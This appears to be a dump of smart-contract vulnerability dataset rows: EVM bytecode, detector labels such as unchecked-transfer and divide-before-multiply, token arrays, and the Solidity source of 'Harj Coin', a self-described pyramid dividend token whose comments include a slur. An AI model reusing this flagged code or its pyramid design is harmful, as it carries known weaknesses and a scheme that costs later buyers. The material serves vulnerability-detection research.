0390fd5b600080600090505b83518110156105dc576105cd8482815181106105b657fe5b602002602001015183610e1690919063ffffffff16565b9150808060010191505061059e565b5060006106086127106105fa84600154610e9e90919063ffffffff16565b610f2490919063ffffffff16565b9050600083905060005b865181101561096e5785818151811061062757fe5b60200260200101518273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156106b457600080fd5b505afa1580156106c8573d6000803e3d6000fd5b505050506040513d60208110156106de57600080fd5b81019080805190602001909291905050501015610763576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e73756666696369656e7420616c6c6f77616e63652e00000000000000000081525060200191505060405180910390fd5b85818151811061076f57fe5b60200260200101518273ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156107de57600080fd5b505afa1580156107f2573d6000803e3d6000fd5b505050506040513d602081101561080857600080fd5b81019080805190602001909291905050501015610870576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110656025913960400191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3389848151811061089957fe5b60200260200101518985815181106108ad57fe5b60200260200101516040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561092557600080fd5b505af1158015610939573d6000803e3d6000fd5b505050506040513d602081101561094f57600080fd5b8101908080519060200190929190505050508080600101915050610612565b50818173ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156109f557600080fd5b505afa158015610a09573d6000803e3d6000fd5b505050506040513d6020811015610a1f57600080fd5b81019080805190602001909291905050501015610aa4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e73756666696369656e7420616c6c6f77616e63652e00000000000000000081525060200191505060405180910390fd5b818173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b0c57600080fd5b505afa158015610b20573d6000803e3d6000fd5b505050506040513d6020811015610b3657600080fd5b81019080805190602001909291905050501015610b9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110656025913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd33600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610c4f57600080fd5b505af1158015610c63573d6000803e3d6000fd5b505050506040513d6020811015610c7957600080fd5b810190808051906020019092919050505050505050505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600154905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d1f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d5957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610e94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415610eb15760009050610f1e565b6000828402905082848281610ec257fe5b0414610f19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061108a6021913960400191505060405180910390fd5b809150505b92915050565b6000610f6683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f6e565b905092915050565b6000808311829061101a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fdf578082015181840152602081019050610fc4565b50505050905090810190601f16801561100c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161102657fe5b04905080915050939250505056fe61646472657373657320616e6420616d6f756e74206172726179206c656e6774682073686f756c642062652073616d654f776e65722068617320696e73756666696369656e7420746f6b656e2062616c616e63652e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212209a737bcff1f889d0d621dd31ddf5ab6234a6ddff28757f9dad842d94d9116aea64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
16409,
2581,
12879,
2094,
2509,
2546,
2581,
2497,
2629,
9818,
2629,
2050,
2620,
2063,
21084,
2487,
4215,
8889,
2546,
2487,
2063,
18139,
2581,
2683,
2581,
2497,
2475,
2546,
2475,
2094,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1026,
1014,
1012,
1022,
1012,
1014,
1025,
8278,
19204,
1063,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
6327,
1025,
3853,
2644,
1006,
1007,
6327,
1025,
3853,
2707,
1006,
1007,
6327,
1025,
3853,
2485,
1006,
1007,
6327,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
6454,
1006,
1007,
6327,
3193,
5651,
1006,
5164,
3638,
1007,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,534 | 0x954E3affBb76333e4D37f89BF1CD5830cD9c61BB | pragma solidity ^0.4.20;
/*
*HarjCoin https://harjcoin.io
*
*/
contract Harj {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Harj Coin";
string public symbol = "Harj";
uint8 constant public decimals = 18;
/// @dev 10% dividends for token purchase
uint8 constant internal entryFee_ = 10;
/// @dev 0% dividends for token transfer
uint8 constant internal transferFee_ = 0;
/// @dev 10% dividends for token selling
uint8 constant internal exitFee_ = 10;
/// @dev 33% of entryFee_ (i.e. 3% dividends) is given to referrer
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 25 tokens)
uint256 public stakingRequirement = 25e18;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
/**
* @dev Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
/**
* @dev Transfer tokens from the caller to a new holder.
*
*/
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
/**
* @dev Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x6060604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461014f57806310d0ffdd146101d957806318160ddd146101ef5780632260937314610202578063313ce567146102185780633ccfd60b146102415780634b7503341461025657806356d399e814610269578063688abbf71461027c5780636b2f46321461029457806370a08231146102a75780638620410b146102c6578063949e8acd146102d957806395d89b41146102ec578063a9059cbb146102ff578063e4849b3214610335578063e9fad8ee1461034b578063f088d5471461035e578063fdb5a03e14610372575b61011b346000610385565b50005b341561012957600080fd5b61013d600160a060020a03600435166105ed565b60405190815260200160405180910390f35b341561015a57600080fd5b610162610628565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019e578082015183820152602001610186565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e457600080fd5b61013d6004356106c6565b34156101fa57600080fd5b61013d6106f9565b341561020d57600080fd5b61013d6004356106ff565b341561022357600080fd5b61022b61073b565b60405160ff909116815260200160405180910390f35b341561024c57600080fd5b610254610740565b005b341561026157600080fd5b61013d61080c565b341561027457600080fd5b61013d610863565b341561028757600080fd5b61013d6004351515610869565b341561029f57600080fd5b61013d6108ac565b34156102b257600080fd5b61013d600160a060020a03600435166108ba565b34156102d157600080fd5b61013d6108d5565b34156102e457600080fd5b61013d610920565b34156102f757600080fd5b610162610932565b341561030a57600080fd5b610321600160a060020a036004351660243561099d565b604051901515815260200160405180910390f35b341561034057600080fd5b610254600435610b48565b341561035657600080fd5b610254610cc4565b61013d600160a060020a0360043516610cfb565b341561037d57600080fd5b610254610d07565b600033818080808080806103a461039d8c600a610dc2565b6064610df8565b96506103b461039d886021610dc2565b95506103c08787610e0f565b94506103cc8b88610e0f565b93506103d784610e21565b9250680100000000000000008502915060008311801561040157506006546103ff8482610eb3565b115b151561040c57600080fd5b600160a060020a038a1615801590610436575087600160a060020a03168a600160a060020a031614155b801561045c5750600254600160a060020a038b1660009081526003602052604090205410155b156104a257600160a060020a038a166000908152600460205260409020546104849087610eb3565b600160a060020a038b166000908152600460205260409020556104bd565b6104ac8587610eb3565b945068010000000000000000850291505b60006006541115610521576104d460065484610eb3565b60068190556801000000000000000086028115156104ee57fe5b6007805492909104909101905560065468010000000000000000860281151561051357fe5b048302820382039150610527565b60068390555b600160a060020a03881660009081526003602052604090205461054a9084610eb3565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105b46108d5565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106be5780601f10610693576101008083540402835291602001916106be565b820191906000526020600020905b8154815290600101906020018083116106a157829003601f168201915b505050505081565b60008080806106d961039d86600a610dc2565b92506106e58584610e0f565b91506106f082610e21565b95945050505050565b60065490565b600080600080600654851115151561071657600080fd5b61071f85610ec2565b925061072f61039d84600a610dc2565b91506106f08383610e0f565b601281565b600080600061074f6001610869565b1161075957600080fd5b3391506107666000610869565b600160a060020a0383166000818152600560209081526040808320805468010000000000000000870201905560049091528082208054929055920192509082156108fc0290839051600060405180830381858888f1935050505015156107cb57600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b6000806000806006546000141561082a57640218711a00935061085d565b61083b670de0b6b3a7640000610ec2565b925061084b61039d84600a610dc2565b91506108578383610e0f565b90508093505b50505090565b60025481565b6000338261087f5761087a816105ed565b6108a3565b600160a060020a0381166000908152600460205260409020546108a1826105ed565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156108f35764028fa6ae00935061085d565b610904670de0b6b3a7640000610ec2565b925061091461039d84600a610dc2565b91506108578383610eb3565b60003361092c816108ba565b91505090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106be5780601f10610693576101008083540402835291602001916106be565b6000806000806000806109ae610920565b116109b857600080fd5b33600160a060020a0381166000908152600360205260409020549094508611156109e157600080fd5b60006109ed6001610869565b11156109fb576109fb610740565b610a0961039d876000610dc2565b9250610a158684610e0f565b9150610a2083610ec2565b9050610a2e60065484610e0f565b600655600160a060020a038416600090815260036020526040902054610a549087610e0f565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a839083610eb3565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610af79190680100000000000000008402811515610af157fe5b04610eb3565b600755600160a060020a038088169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060019695505050505050565b6000806000806000806000610b5b610920565b11610b6557600080fd5b33600160a060020a038116600090815260036020526040902054909650871115610b8e57600080fd5b869450610b9a85610ec2565b9350610baa61039d85600a610dc2565b9250610bb68484610e0f565b9150610bc460065486610e0f565b600655600160a060020a038616600090815260036020526040902054610bea9086610e0f565b600160a060020a0387166000908152600360209081526040808320939093556007546005909152918120805492880268010000000000000000860201928390039055600654919250901115610c5b57610c57600754600654680100000000000000008602811515610af157fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c916108d5565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b33600160a060020a03811660009081526003602052604081205490811115610cef57610cef81610b48565b610cf7610740565b5050565b60006108a63483610385565b600080600080610d176001610869565b11610d2157600080fd5b610d2b6000610869565b33600160a060020a038116600090815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d77908490610385565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610dd55760009150610df1565b50828202828482811515610de557fe5b0414610ded57fe5b8091505b5092915050565b6000808284811515610e0657fe5b04949350505050565b600082821115610e1b57fe5b50900390565b6006546000906b204fce5e3e25026110000000908290633b9aca00610ea0610e9a7259aedfc10d7279c5eed140164540000000000088026002850a670de0b6b3a764000002016f0f0bdc21abb48db201e86d40000000008502017704140c78940f6a24fdffc78873d4490d210000000000000001610f2c565b85610e0f565b811515610ea957fe5b0403949350505050565b600082820183811015610ded57fe5b600654600090670de0b6b3a7640000838101918101908390610f19640218711a00828504633b9aca0002018702600283670de0b6b3a763ffff1982890a8b90030104633b9aca0002811515610f1357fe5b04610e0f565b811515610f2257fe5b0495945050505050565b80600260018201045b818110156108a6578091506002818285811515610f4e57fe5b0401811515610f5957fe5b049050610f355600a165627a7a723058201c5880467809c05e3fdb7d92d0dba8afbe3dc9a4863e57482c59b8a236c2f1a90029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2063,
2509,
10354,
26337,
2497,
2581,
2575,
22394,
2509,
2063,
2549,
2094,
24434,
2546,
2620,
2683,
29292,
2487,
19797,
27814,
14142,
19797,
2683,
2278,
2575,
2487,
10322,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2322,
1025,
1013,
1008,
1008,
5292,
2099,
3501,
3597,
2378,
16770,
1024,
1013,
1013,
5292,
2099,
3501,
3597,
2378,
1012,
22834,
1008,
1008,
1013,
3206,
5292,
2099,
3501,
1063,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
16913,
28295,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
